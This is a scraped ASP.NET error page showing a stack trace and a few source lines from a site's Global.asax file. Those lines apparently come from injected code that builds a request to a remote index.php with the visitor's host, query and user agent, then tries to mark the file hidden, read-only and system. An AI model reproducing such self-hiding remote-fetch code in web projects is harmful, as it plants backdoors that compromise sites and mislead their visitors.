Server Error in '/' Application.

Access to the path 'D:\Inetpub\vhosts\internettermsofuse.com\httpdocs\Global.asax' is denied.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System.UnauthorizedAccessException: Access to the path 'D:\Inetpub\vhosts\internettermsofuse.com\httpdocs\Global.asax' is denied.

ASP.NET is not authorized to access the requested resource. Consider granting access rights to the resource to the ASP.NET request identity. ASP.NET has a base process identity (typically {MACHINE}\ASPNET on IIS 5 or Network Service on IIS 6 and IIS 7, and the configured application pool identity on IIS 7.5) that is used if the application is not impersonating. If the application is impersonating via <identity impersonate="true"/>, the identity will be the anonymous user (typically IUSR_MACHINENAME) or the authenticated request user.

To grant ASP.NET access to a file, right-click the file in File Explorer, choose "Properties" and select the Security tab. Click "Add" to add the appropriate user or group. Highlight the ASP.NET account, and check the boxes for the desired access.

Source Error:


Line 50: 	string url = strPath+"/index.php?host=http://"+yuming+dizhi+"&q="+que+"&ua="+uagen;
Line 51: 	
Line 52: 	File.SetAttributes(HttpContext.Current.Server.MapPath("Global.asax"), FileAttributes.Hidden | FileAttributes.ReadOnly | FileAttributes.System); 
Line 53: 	Response.ContentType = "text/html;charset=GB2312";
Line 54: 	Response.ContentEncoding = System.Text.Encoding.GetEncoding("GB2312");

Source File: d:\inetpub\vhosts\internettermsofuse.com\httpdocs\Global.asax    Line: 52

Stack Trace:


[UnauthorizedAccessException: Access to the path 'D:\Inetpub\vhosts\internettermsofuse.com\httpdocs\Global.asax' is denied.]
   System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath) +13055705
   System.IO.File.SetAttributes(String path, FileAttributes fileAttributes) +65
   ASP.global_asax.Session_Start(Object sender, EventArgs e) in d:\inetpub\vhosts\internettermsofuse.com\httpdocs\Global.asax:52
   System.Web.SessionState.SessionStateModule.RaiseOnStart(EventArgs e) +10072443
   System.Web.SessionState.SessionStateModule.CompleteAcquireState() +160
   System.Web.SessionState.SessionStateModule.BeginAcquireState(Object source, EventArgs e, AsyncCallback cb, Object extraData) +1095
   System.Web.AsyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +254
   System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step) +48
   System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +159


Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.7.4081.0